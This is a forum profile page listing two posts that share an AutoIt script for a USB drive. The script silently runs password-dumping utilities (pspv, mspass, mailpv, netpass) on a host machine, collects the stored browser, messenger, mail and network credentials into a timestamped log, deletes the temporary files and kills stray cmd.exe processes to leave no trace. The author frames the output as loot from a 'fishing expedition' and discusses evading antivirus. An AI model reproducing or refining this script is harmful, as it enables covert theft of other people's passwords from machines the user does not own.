Jump to content

m4gnesium

Members
  • Posts

    2
  • Joined

  • Last visited

Contact Methods

  • AIM
    m4gnesium
  • ICQ
    0

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

m4gnesium's Achievements

Newbie

Newbie (1/14)

  1. Alright, I think I have the stray cmd.exe processes solved. It requires one more line in the script and one more program. Go Here and download the command line process viewer/killer/suspender/iced tea maker. The actual download link is pretty far down the page. Unzip it and put it in the same directory as all the other pograms. Now we'll add the command to run that and kill all instances of cmd.exe and the end of the script, so it looks like this: Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "netpass.exe /stext .takenetpass.txt"', @ScriptDir, @SW_HIDE) sleep(3000) Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE) sleep(3000) Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC Dim $Location = @WorkingDir & '.take' Dim $FileName = "all.txt" FileMove($Location & $FileName , $Location & $DateTime & ".log",1) sleep(3000) Run(@ComSpec & ' /k "del .take*.txt"', @ScriptDir, @SW_HIDE) sleep(1000) Run(@ComSpec & ' /k "process.exe -k cmd.exe"', @ScriptDir, @SW_HIDE) sleep(1000) Now you can safely remove your usb drive and leave no stray processes running on the machine.
  2. I was having trouble with all the variations posted before so I edited it a bit further to get it to work: Run(@ComSpec & ' /k "pspv.exe /stext .takepspv.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "mspass.exe /stext .takemspass.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "mailpv.exe /stext .takemailpv.txt"', @ScriptDir, @SW_HIDE) sleep(200) Run(@ComSpec & ' /k "netpass.exe /stext .takenetpass.txt"', @ScriptDir, @SW_HIDE) sleep(3000) Run(@ComSpec & ' /k "COPY .take*.txt .takeall.txt"', @ScriptDir, @SW_HIDE) sleep(3000) Dim $DateTime = @YEAR & "-" & @MON & "-" & @MDAY & "-" & @HOUR & "-" & @MIN & "_" & @SEC Dim $Location = @WorkingDir & '.take' Dim $FileName = "all.txt" FileMove($Location & $FileName , $Location & $DateTime & ".log",1) sleep(3000) Run(@ComSpec & ' /k "del .take*.txt"', @ScriptDir, @SW_HIDE) sleep(1000) The script/compiled exe must be in the same directory as the programs, along with a directory called "take", as in what ends up here is the take from your fishing expedition. Be advised that at least one virus scanner, AVG, detects this stuff. I'll soon find out if the enterprise edition of Norton does as well. I too am no longer to use the saftly remove device thing after running this, but as far as I can tell as long as nothing is being read/written to your usb drive you can pull it without somehting bad happening.
×
×
  • Create New...